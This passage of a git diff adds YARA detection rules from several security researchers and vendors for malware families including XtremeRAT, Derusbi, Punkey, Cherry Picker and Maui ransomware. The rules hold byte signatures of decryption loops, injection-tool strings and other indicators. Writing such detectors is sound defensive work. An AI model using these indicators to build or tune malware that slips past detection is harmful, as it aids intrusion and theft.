+        
+    strings:
+        // hidden AutoConfigURL
+        $ = { C6 ?? ?? ?? 41 C6 ?? ?? ?? 75 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 43 C6 ?? ?? ?? 6F C6 ?? ?? ?? 6E C6 ?? ?? ?? 66 }
+        // hidden ProxyEnable
+        $ = { C6 ?? ?? ?? 50 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 78 C6 ?? ?? ?? 79 C6 ?? ?? ?? 45 C6 ?? ?? ?? 6E C6 ?? ?? ?? 61 }
+        // xor on rand value?
+        $ = { 8B 1D 10 A1 40 00 [18] FF D3 8A 16 32 D0 88 16 }
+
+    condition:
+        any of them
+}
+
+private rule RookieStrings : Rookie Family
+{
+    meta:
+        description = "Rookie Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "RookIE/1.0"
+        
+    condition:
+       any of them
+}
+
+rule Rookie : Family
+{
+    meta:
+        description = "Rookie"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        RookieCode or RookieStrings
+}
diff --git a/yara-mikesxrs/Seth Hardy/rooter.yar b/yara-mikesxrs/Seth Hardy/rooter.yar
new file mode 100644
index 0000000..94f694c
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/rooter.yar	
@@ -0,0 +1,44 @@
+private rule RooterCode : Rooter Family 
+{
+    meta:
+        description = "Rooter code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // xor 0x30 decryption
+        $ = { 80 B0 ?? ?? ?? ?? 30 40 3D 00 50 00 00 7C F1 }
+    
+    condition:
+        any of them
+}
+
+private rule RooterStrings : Rooter Family
+{
+    meta:
+        description = "Rooter Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $group1 = "seed\x00"
+        $group2 = "prot\x00"
+        $group3 = "ownin\x00"
+        $group4 = "feed0\x00"
+        $group5 = "nown\x00"
+
+    condition:
+       3 of ($group*)
+}
+
+
+rule Rooter : Family
+{
+    meta:
+        description = "Rooter"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        RooterCode or RooterStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/safenet.yar b/yara-mikesxrs/Seth Hardy/safenet.yar
new file mode 100644
index 0000000..6609191
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/safenet.yar	
@@ -0,0 +1,42 @@
+private rule SafeNetCode : SafeNet Family 
+{
+    meta:
+        description = "SafeNet code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        // add edi, 14h; cmp edi, 50D0F8h
+        $ = { 83 C7 14 81 FF F8 D0 40 00 }
+    condition:
+        any of them
+}
+
+private rule SafeNetStrings : SafeNet Family
+{
+    meta:
+        description = "Strings used by SafeNet"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        $ = "6dNfg8Upn5fBzGgj8licQHblQvLnUY19z5zcNKNFdsDhUzuI8otEsBODrzFCqCKr"
+        $ = "/safe/record.php"
+        $ = "_Rm.bat" wide ascii
+        $ = "try\x0d\x0a\x09\x09\x09\x09  del %s" wide ascii
+        $ = "Ext.org" wide ascii
+        
+    condition:
+        any of them
+
+}
+
+rule SafeNet : Family
+{
+    meta:
+        description = "SafeNet family"
+        
+    condition:
+        SafeNetCode or SafeNetStrings
+        
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/scarhikn.yar b/yara-mikesxrs/Seth Hardy/scarhikn.yar
new file mode 100644
index 0000000..7b61268
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/scarhikn.yar	
@@ -0,0 +1,41 @@
+private rule ScarhiknCode : Scarhikn Family 
+{
+    meta:
+        description = "Scarhikn code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 8B 06 8A 8B ?? ?? ?? ?? 30 0C 38 03 C7 55 43 E8 ?? ?? ?? ?? 3B D8 59 72 E7 }
+        $ = { 8B 02 8A 8D ?? ?? ?? ?? 30 0C 30 03 C6 8B FB 83 C9 FF 33 C0 45 F2 AE F7 D1 49 3B E9 72 E2 }
+    
+    condition:
+        any of them
+}
+
+private rule ScarhiknStrings : Scarhikn Family
+{
+    meta:
+        description = "Scarhikn Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "9887___skej3sd"
+        $ = "haha123"
+        
+    condition:
+       any of them
+}
+
+rule Scarhikn : Family
+{
+    meta:
+        description = "Scarhikn"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        ScarhiknCode or ScarhiknStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/shell_crew.yar b/yara-mikesxrs/Seth Hardy/shell_crew.yar
new file mode 100644
index 0000000..4ee2010
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/shell_crew.yar	
@@ -0,0 +1,32 @@
+rule TROJAN_Notepad {
+    meta:
+        Author = "RSA_IR"
+        Date     = "4Jun13"
+        File     = "notepad.exe v 1.1"
+        MD5      = "106E63DBDA3A76BEEB53A8BBD8F98927"
+    strings:
+        $s1 = "75BAA77C842BE168B0F66C42C7885997"
+        $s2 = "B523F63566F407F3834BCC54AAA32524"
+    condition:
+        $s1 or $s2
+}
+rule Trojan_Derusbi {
+    meta:
+        Author = "RSA_IR"
+        Date     = "4Sept13"
+        File     = "derusbi_variants v 1.3"
+        MD5      = " c0d4c5b669cc5b51862db37e972d31ec "
+
+    strings:
+        $b1 = {8b 15 ?? ?? ?? ?? 8b ce d3 ea 83 c6 ?? 30 90 ?? ?? ?? ?? 40 3b 05 ?? ?? ?? ?? 72 ??}
+        $b2 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E F7 5D 88 2E 0C A2 88 2E 4B 5D 88 2E F3 5D 88 2E}
+        $b3 = {4E E6 40 BB}
+        $b4 = {B1 19 BF 44}
+        $b5 = {6A F5 44 3D ?? ?? 00 00 27 AF D4 3D 69 F5 44 3D 6E F5 44 3D 95 0A 44 3D D2 F5 44 3D 6A F5 44 3D}
+        $b6 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E}
+        $b7 = {D6 D5 A4 A3 ?? ?? 00 00 9B 8F 34 A3 D5 D5 A4 A3 D2 D5 A4 A3 29 2A A4 A3}
+        $b8 = {C3 76 33 9F ?? ?? 00 00 8E 2C A3 9F C0 76 33 9F C7 76 33 9F 3C 89 33 9F}
+
+    condition:
+        2 of ($b1, $b2, $b3, $b4) and 1 of ($b5, $b6, $b7, $b8)
+}
diff --git a/yara-mikesxrs/Seth Hardy/surtr.yar b/yara-mikesxrs/Seth Hardy/surtr.yar
new file mode 100644
index 0000000..be35074
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/surtr.yar	
@@ -0,0 +1,51 @@
+private rule SurtrCode : Surtr Family {
+	meta: 
+		author = "Katie Kleemola"
+		description = "Code features for Surtr Stage1"
+		last_updated = "2014-07-16"
+	
+	strings:
+		//decrypt config
+		$ = { 8A ?? ?? 84 ?? ?? 74 ?? 3C 01 74 ?? 34 01 88 41 3B ?? 72 ?? }
+		//if Burn folder name is not in strings
+		$ = { C6 [3] 42 C6 [3] 75 C6 [3] 72 C6 [3] 6E C6 [3] 5C }
+		//mov char in _Fire
+		$ = { C6 [3] 5F C6 [3] 46 C6 [3] 69 C6 [3] 72 C6 [3] 65 C6 [3] 2E C6 [3] 64 }
+
+	condition:
+		any of them
+
+}
+
+private rule SurtrStrings : Surtr Family {	
+	meta: 
+		author = "Katie Kleemola"
+		description = "Strings for Surtr"
+		last_updated = "2014-07-16"
+
+	strings:
+		$ = "\x00soul\x00"
+		$ = "\x00InstallDll.dll\x00"
+		$ = "\x00_One.dll\x00"
+		$ = "_Fra.dll"
+		$ = "CrtRunTime.log"
+		$ = "Prod.t"
+		$ = "Proe.t"
+		$ = "Burn\\"
+		$ = "LiveUpdata_Mem\\"
+
+	condition:
+		any of them
+
+}
+
+rule Surtr : Family {
+	meta:
+		author = "Katie Kleemola"
+		description = "Rule for Surtr Stage One"
+		last_updated = "2014-07-16"
+
+	condition:
+		SurtrStrings or SurtrCode
+
+}
diff --git a/yara-mikesxrs/Seth Hardy/t5000.yar b/yara-mikesxrs/Seth Hardy/t5000.yar
new file mode 100644
index 0000000..1848107
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/t5000.yar	
@@ -0,0 +1,37 @@
+private rule T5000Strings : T5000 Family
+{
+    meta:
+        description = "T5000 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    strings:
+        $ = "_tmpR.vbs"
+        $ = "_tmpg.vbs"
+        $ = "Dtl.dat" wide ascii
+        $ = "3C6FB3CA-69B1-454f-8B2F-BD157762810E"
+        $ = "EED5CA6C-9958-4611-B7A7-1238F2E1B17E"
+        $ = "8A8FF8AD-D1DE-4cef-B87C-82627677662E"
+        $ = "43EE34A9-9063-4d2c-AACD-F5C62B849089"
+        $ = "A8859547-C62D-4e8b-A82D-BE1479C684C9"
+        $ = "A59CF429-D0DD-4207-88A1-04090680F714"
+        $ = "utd_CE31" wide ascii
+        $ = "f:\\Project\\T5000\\Src\\Target\\1 KjetDll.pdb"
+        $ = "l:\\MyProject\\Vc 7.1\\T5000\\T5000Ver1.28\\Target\\4 CaptureDLL.pdb"
+        $ = "f:\\Project\\T5000\\Src\\Target\\4 CaptureDLL.pdb"
+        $ = "E:\\VS2010\\xPlat2\\Release\\InstRes32.pdb"
+        
+    condition:
+       any of them
+}
+
+rule T5000 : Family
+{
+    meta:
+        description = "T5000"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    condition:
+        T5000Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/urausy_skypedat.yar b/yara-mikesxrs/Seth Hardy/urausy_skypedat.yar
new file mode 100644
index 0000000..544f962
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/urausy_skypedat.yar	
@@ -0,0 +1,14 @@
+rule urausy_skype_dat {
+	meta:
+		author = "AlienVault Labs"
+		description = "Yara rule to match against memory of processes infected by Urausy skype.dat"
+	strings:
+		$a = "skype.dat" ascii wide
+		$b = "skype.ini" ascii wide
+		$win1 = "CreateWindow"
+		$win2 = "YIWEFHIWQ" ascii wide
+		$desk1 = "CreateDesktop"
+		$desk2 = "MyDesktop" ascii wide
+	condition:
+		$a and $b and (all of ($win*) or all of ($desk*))
+}
diff --git a/yara-mikesxrs/Seth Hardy/vidgrab.yar b/yara-mikesxrs/Seth Hardy/vidgrab.yar
new file mode 100644
index 0000000..4708dbf
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/vidgrab.yar	
@@ -0,0 +1,46 @@
+private rule VidgrabCode : Vidgrab Family 
+{
+    meta:
+        description = "Vidgrab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $divbyzero = { B8 02 00 00 00 48 48 BA 02 00 00 00 83 F2 02 F7 F0 }
+        // add eax, ecx; xor byte ptr [eax], ??h; inc ecx
+        $xorloop = { 03 C1 80 30 (66 | 58) 41 }
+        $junk = { 8B 4? ?? 8B 4? ?? 03 45 08 52 5A }
+        
+    condition:
+        all of them
+}
+
+private rule VidgrabStrings : Vidgrab Family
+{
+    meta:
+        description = "Vidgrab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "IDI_ICON5" wide ascii
+        $ = "starter.exe"
+        $ = "wmifw.exe"
+        $ = "Software\\rar"
+        $ = "tmp092.tmp"
+        $ = "temp1.exe"
+        
+    condition:
+       3 of them
+}
+
+rule Vidgrab : Family
+{
+    meta:
+        description = "Vidgrab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        VidgrabCode or VidgrabStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/warp.yar b/yara-mikesxrs/Seth Hardy/warp.yar
new file mode 100644
index 0000000..1156a5c
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/warp.yar	
@@ -0,0 +1,42 @@
+private rule WarpCode : Warp Family 
+{
+    meta:
+        description = "Warp code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // character replacement
+        $ = { 80 38 2B 75 03 C6 00 2D 80 38 2F 75 03 C6 00 5F }
+    
+    condition:
+        any of them
+}
+
+private rule WarpStrings : Warp Family
+{
+    meta:
+        description = "Warp Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $ = "/2011/n325423.shtml?"
+        $ = "wyle"
+        $ = "\\~ISUN32.EXE"
+
+    condition:
+       any of them
+}
+
+
+rule Warp : Family
+{
+    meta:
+        description = "Warp"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        WarpCode or WarpStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/wimmie.yar b/yara-mikesxrs/Seth Hardy/wimmie.yar
new file mode 100644
index 0000000..ac8ea81
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/wimmie.yar	
@@ -0,0 +1,45 @@
+private rule WimmieShellcode : Wimmie Family 
+{
+    meta:
+        description = "Wimmie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        // decryption loop
+        $ = { 49 30 24 39 83 F9 00 77 F7 8D 3D 4D 10 40 00 B9 0C 03 00 00 }
+        $xordecrypt = {B9 B4 1D 00 00 [8] 49 30 24 39 83 F9 00 }
+        
+    condition:
+        any of them
+}
+
+private rule WimmieStrings : Wimmie Family
+{
+    meta:
+        description = "Strings used by Wimmie"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        $ = "\x00ScriptMan"
+        $ = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" wide ascii
+        $ = "ProbeScriptFint" wide ascii
+        $ = "ProbeScriptKids"
+        
+    condition:
+        any of them
+
+}
+
+rule Wimmie : Family
+{
+    meta:
+        description = "Wimmie family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+   
+    condition:
+        WimmieShellcode or WimmieStrings
+        
+}
diff --git a/yara-mikesxrs/Seth Hardy/xtreme.yar b/yara-mikesxrs/Seth Hardy/xtreme.yar
new file mode 100644
index 0000000..ba11592
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/xtreme.yar	
@@ -0,0 +1,42 @@
+private rule XtremeRATCode : XtremeRAT Family 
+{
+    meta:
+        description = "XtremeRAT code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // call; fstp st
+        $ = { E8 ?? ?? ?? ?? DD D8 }
+        // hiding string
+        $ = { C6 85 ?? ?? ?? ?? 4D C6 85 ?? ?? ?? ?? 70 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 62 C6 85 ?? ?? ?? ?? 6D }
+    
+    condition:
+        all of them
+}
+
+private rule XtremeRATStrings : XtremeRAT Family
+{
+    meta:
+        description = "XtremeRAT Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "dqsaazere"
+        $ = "-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32"
+        
+    condition:
+       any of them
+}
+
+rule XtremeRAT : Family
+{
+    meta:
+        description = "XtremeRAT"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        XtremeRATCode or XtremeRATStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/yayih.yar b/yara-mikesxrs/Seth Hardy/yayih.yar
new file mode 100644
index 0000000..f34b265
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/yayih.yar	
@@ -0,0 +1,42 @@
+rule YayihCode : Yayih Family 
+{
+    meta:
+        description = "Yayih code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+    
+    strings:
+        //  encryption
+        $ = { 80 04 08 7A 03 C1 8B 45 FC 80 34 08 19 03 C1 41 3B 0A 7C E9 }
+    
+    condition:
+        any of them
+}
+
+rule YayihStrings : Yayih Family
+{
+    meta:
+        description = "Yayih Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    strings:
+        $ = "/bbs/info.asp"
+        $ = "\\msinfo.exe"
+        $ = "%s\\%srcs.pdf"
+        $ = "\\aumLib.ini"
+
+    condition:
+       any of them
+}
+
+rule Yayih : Family
+{
+    meta:
+        description = "Yayih"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    condition:
+        YayihCode or YayihStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Spider-labs/Spiderlabs_index.yara b/yara-mikesxrs/Spider-labs/Spiderlabs_index.yara
new file mode 100644
index 0000000..6c80af4
--- /dev/null
+++ b/yara-mikesxrs/Spider-labs/Spiderlabs_index.yara
@@ -0,0 +1,115 @@
+/*
+
+  Copyright
+  =========
+  Copyright (C) 2013 Trustwave Holdings, Inc.
+ 
+  This program is free software: you can redistribute it and/or modify
+  it under the terms of the GNU General Public License as published by
+  the Free Software Foundation, either version 3 of the License, or
+  (at your option) any later version.
+ 
+  This program is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+  GNU General Public License for more details.
+ 
+  You should have received a copy of the GNU General Public License
+  along with this program. If not, see <http://www.gnu.org/licenses/>
+
+  ---------
+
+  This YARA signature will attempt to detect instances of the newly discovered
+  Apache iFrame injection module. Please take a minute to look at the references
+  contained in the metadata section of the rule for further information.
+
+  This signature attempts to identify the unique XTEA function used for config
+  decryption. Additionally, it will attempt to identify the XTEA keys discovered
+  in the samples already encountered by SpiderLabs.
+
+*/
+
+
+rule apacheInjectionXtea {
+  meta:
+    description = "Detection for new Apache injection module spotted in wild."
+    in_the_wild = true
+    reference1 = "http://blog.sucuri.net/2013/06/new-apache-module-injection.html"
+    reference2 = "TBD"
+
+  strings:
+    $xteaFunction = { 8B 0F 8B 57 04 B8 F3 3A 62 CC 41 89 C0 41 89 C9 41 89 CA 41 C1 E8 0B 41 C1 E2 04 41 C1 E9 05 41 83 E0 03 45 31 D1 46 8B 04 86 41 01 C9 41 01 C0 05 47 86 C8 61 45 31 C8 44 29 C2 49 89 C0 41 83 E0 03 41 89 D1 41 89 D2 46 8B 04 86 41 C1 E9 05 41 C1 E2 04 45 31 D1 41 01 D1 41 01 C0 45 31 C8 44 29 C1 85 C0 75 A3 89 0F 89 57 04 C3 }
+    $xteaKey1 = { 4A F5 5E 5E B9 8A E1 63 30 16 B6 15 23 51 66 03 }
+    $xteaKey2 = { 68 2C 16 4A 30 A8 14 1F 1E AD 0D 24 E1 0E 10 01 }
+
+  condition:
+    $xteaFunction or any of ($xteaKey*)
+}
+
+rule cherryPicker
+{
+    meta:
+        author = "Trustwave SpiderLabs"
+        date = "2015-11-17"
+        description = "Used to detect Cherry Picker malware.  Blog: https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/?page=1&year=0&month=0"
+    strings:
+        $string1 = "srch1mutex" nocase
+        $string2 = "SYNC32TOOLBOX" nocase
+        $string3 = "kb852310.dll"
+        $config1 = "[config]" nocase
+        $config2 = "timeout"
+        $config3 = "r_cnt"
+        $config4 = "f_passive"
+        $config5 = "prlog"
+    condition:
+        any of ($string*) or all of ($config*)
+
+}
+
+rule cherryInstaller
+{
+    strings:
+        $string1 = "(inject base: %08x)"
+        $string2 = "injected ok"
+        $string3 = "inject failed"
+        $string4 = "-i name.dll - install path dll"
+        $string5 = "-s name.dll procname|PID - inject dll into processes or PID"
+        $fileinfect1 = "\\ServicePackFiles\\i386\\user32.dll"
+        $fileinfect2 = "\\dllcache\\user32.dll"
+        $fileinfect3 = "\\user32.tmp"
+
+    condition:
+        all of ($string*) or all of ($fileinfect*)
+}
+
+rule Punkey
+{
+  meta:
+    author = "Trustwave SpiderLabs"
+    date = "2015-04-09"
+    description = "Used to detect Punkey malware.  Blog: https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/"
+  strings:
+    $pdb1 = "C:\\Documents and Settings\\Administrator\\Desktop\\Verios\\jusched\\jusched32.pdb" nocase
+    $pdb2 = "C:\\Documents and Settings\\Administrator\\Desktop\\Verios\\jusched\\troi.pdb" nocase
+    $pdb3 = "D:\\freelancer\\gale.kreeb\\jusched10-19\\jusched32.pdb" nocase
+    $pdb4 = "D:\\freelancer\\gale.kreeb\\jusched10-19\\troi.pdb" nocase
+    $pdb5 = "C:\\Users\\iptables\\Desktop\\x86\\jusched32.pdb" nocase
+    $pdb6 = "C:\\Users\\iptables\\Desktop\\x86\\troi.pdb"
+    $pdb7 = "C:\\Users\\iptables\\Desktop\\27 Octomber\\jusched10-27\\troi.pdb" nocase
+    $pdb8 = "D:\\work\\visualstudio\\jusched\\dllx64.pdb" nocase
+    $string0 = "explorer.exe" nocase
+    $string1 = "jusched.exe" nocase
+    $string2 = "dllx64.dll" nocase
+    $string3 = "exportDataApi" nocase
+    $memory1 = "troi.exe"
+    $memory2 = "unkey="
+    $memory3 = "key="
+    $memory4 = "UPDATE"
+    $memory5 = "RUN"
+    $memory6 = "SCANNING"
+    $memory7 = "86afc43868fea6abd40fbf6d5ed50905"
+    $memory8 = "f4150d4a1ac5708c29e437749045a39a"
+
+  condition:
+    (any of ($pdb*)) or (all of ($str*)) or (all of ($mem*))
+}
diff --git a/yara-mikesxrs/Spider-labs/apacheInjection.yara b/yara-mikesxrs/Spider-labs/apacheInjection.yara
new file mode 100644
index 0000000..8779d7a
--- /dev/null
+++ b/yara-mikesxrs/Spider-labs/apacheInjection.yara
@@ -0,0 +1,47 @@
+/*
+
+  Copyright
+  =========
+  Copyright (C) 2013 Trustwave Holdings, Inc.
+ 
+  This program is free software: you can redistribute it and/or modify
+  it under the terms of the GNU General Public License as published by
+  the Free Software Foundation, either version 3 of the License, or
+  (at your option) any later version.
+ 
+  This program is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+  GNU General Public License for more details.
+ 
+  You should have received a copy of the GNU General Public License
+  along with this program. If not, see <http://www.gnu.org/licenses/>
+
+  ---------
+
+  This YARA signature will attempt to detect instances of the newly discovered
+  Apache iFrame injection module. Please take a minute to look at the references
+  contained in the metadata section of the rule for further information.
+
+  This signature attempts to identify the unique XTEA function used for config
+  decryption. Additionally, it will attempt to identify the XTEA keys discovered
+  in the samples already encountered by SpiderLabs.
+
+*/
+
+
+rule apacheInjectionXtea {
+  meta:
+    description = "Detection for new Apache injection module spotted in wild."
+    in_the_wild = true
+    reference1 = "http://blog.sucuri.net/2013/06/new-apache-module-injection.html"
+    reference2 = "TBD"
+
+  strings:
+    $xteaFunction = { 8B 0F 8B 57 04 B8 F3 3A 62 CC 41 89 C0 41 89 C9 41 89 CA 41 C1 E8 0B 41 C1 E2 04 41 C1 E9 05 41 83 E0 03 45 31 D1 46 8B 04 86 41 01 C9 41 01 C0 05 47 86 C8 61 45 31 C8 44 29 C2 49 89 C0 41 83 E0 03 41 89 D1 41 89 D2 46 8B 04 86 41 C1 E9 05 41 C1 E2 04 45 31 D1 41 01 D1 41 01 C0 45 31 C8 44 29 C1 85 C0 75 A3 89 0F 89 57 04 C3 }
+    $xteaKey1 = { 4A F5 5E 5E B9 8A E1 63 30 16 B6 15 23 51 66 03 }
+    $xteaKey2 = { 68 2C 16 4A 30 A8 14 1F 1E AD 0D 24 E1 0E 10 01 }
+
+  condition:
+    $xteaFunction or any of ($xteaKey*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Spider-labs/cherryPicker.yar b/yara-mikesxrs/Spider-labs/cherryPicker.yar
new file mode 100644
index 0000000..7b4efaf
--- /dev/null
+++ b/yara-mikesxrs/Spider-labs/cherryPicker.yar
@@ -0,0 +1,35 @@
+rule cherryPicker
+{
+    meta:
+        author = "Trustwave SpiderLabs"
+        date = "2015-11-17"
+        description = "Used to detect Cherry Picker malware.  Blog: https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/?page=1&year=0&month=0"
+    strings:
+        $string1 = "srch1mutex" nocase
+        $string2 = "SYNC32TOOLBOX" nocase
+        $string3 = "kb852310.dll"
+        $config1 = "[config]" nocase
+        $config2 = "timeout"
+        $config3 = "r_cnt"
+        $config4 = "f_passive"
+        $config5 = "prlog"
+    condition:
+        any of ($string*) or all of ($config*)
+
+}
+
+rule cherryInstaller
+{
+    strings:
+        $string1 = "(inject base: %08x)"
+        $string2 = "injected ok"
+        $string3 = "inject failed"
+        $string4 = "-i name.dll - install path dll"
+        $string5 = "-s name.dll procname|PID - inject dll into processes or PID"
+        $fileinfect1 = "\\ServicePackFiles\\i386\\user32.dll"
+        $fileinfect2 = "\\dllcache\\user32.dll"
+        $fileinfect3 = "\\user32.tmp"
+
+    condition:
+        all of ($string*) or all of ($fileinfect*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Spider-labs/punkey.yar b/yara-mikesxrs/Spider-labs/punkey.yar
new file mode 100644
index 0000000..8c68ec1
--- /dev/null
+++ b/yara-mikesxrs/Spider-labs/punkey.yar
@@ -0,0 +1,31 @@
+rule Punkey
+{
+  meta:
+    author = "Trustwave SpiderLabs"
+    date = "2015-04-09"
+    description = "Used to detect Punkey malware.  Blog: https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/"
+  strings:
+    $pdb1 = "C:\\Documents and Settings\\Administrator\\Desktop\\Verios\\jusched\\jusched32.pdb" nocase
+    $pdb2 = "C:\\Documents and Settings\\Administrator\\Desktop\\Verios\\jusched\\troi.pdb" nocase
+    $pdb3 = "D:\\freelancer\\gale.kreeb\\jusched10-19\\jusched32.pdb" nocase
+    $pdb4 = "D:\\freelancer\\gale.kreeb\\jusched10-19\\troi.pdb" nocase
+    $pdb5 = "C:\\Users\\iptables\\Desktop\\x86\\jusched32.pdb" nocase
+    $pdb6 = "C:\\Users\\iptables\\Desktop\\x86\\troi.pdb"
+    $pdb7 = "C:\\Users\\iptables\\Desktop\\27 Octomber\\jusched10-27\\troi.pdb" nocase
+    $pdb8 = "D:\\work\\visualstudio\\jusched\\dllx64.pdb" nocase
+    $string0 = "explorer.exe" nocase
+    $string1 = "jusched.exe" nocase
+    $string2 = "dllx64.dll" nocase
+    $string3 = "exportDataApi" nocase
+    $memory1 = "troi.exe"
+    $memory2 = "unkey="
+    $memory3 = "key="
+    $memory4 = "UPDATE"
+    $memory5 = "RUN"
+    $memory6 = "SCANNING"
+    $memory7 = "86afc43868fea6abd40fbf6d5ed50905"
+    $memory8 = "f4150d4a1ac5708c29e437749045a39a"
+
+  condition:
+    (any of ($pdb*)) or (all of ($str*)) or (all of ($mem*))
+}
diff --git a/yara-mikesxrs/Stairwell/MauiRansomware.yar b/yara-mikesxrs/Stairwell/MauiRansomware.yar
new file mode 100644
index 0000000..11b9133
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/MauiRansomware.yar
@@ -0,0 +1,31 @@
+rule MauiRansomware
+{
+meta:
+author= "Silas Cutler (Silas@Stairwell.com)"
+description = "Detection for Maui Ransomware"
+reference = "https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf"
+version = "0.1"
+strings:
+$ = "Unable to read public key info." wide
+$ = "it by <Godhead> using -maui option." wide
+$ = "Incompatible public key version." wide
+$ = "maui.key" wide
+$ = "maui.evd" wide
+$ = "Unable to encrypt private key" wide
+$ = "Unable to create evidence file" wide
+$ = "PROCESS_GOINGON[%d%% / %d%%]: %s" wide
+$ = "demigod.key" wide
+$ = "Usage: maui [-ptx] [PATH]" wide
+$ = "-p dir: Set Log Directory (Default: Current Directory)" wide
+$ = "-t n: Set Thread Count (Default: 1)" wide
+$ = "-x: Self Melt (Default: No)" wide
+// File header loading (x32-bit)
+$ = { 44 24 24 44 49 56 45 ?? 44 24 28 01 00 00 00 ?? 44 24 2C 10 00 00 00 }
+$ = { 44 4F 47 44 ?? ?? 04 01 00 00 00 }
+condition:
+3 of them or
+(
+uint32(filesize-8) == 0x00000001 and
+uint32(filesize-12) == 0x5055424B
+)
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK.yar
new file mode 100644
index 0000000..5592af5
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK.yar
@@ -0,0 +1,14 @@
+rule NK_GOLDBACKDOOR_LNK
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for LNK file used to deploy GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$ = "WINWORD.exe" wide nocase
+$ = "$won11 =\"$temple=" wide
+$ = "dirPath -Match 'System32' -or $dirPath -Match 'Program Files'" wide
+condition:
+2 of them and uint16(0) == 0x4c
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK_payload.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK_payload.yar
new file mode 100644
index 0000000..ce9c91a
--- /dev/null
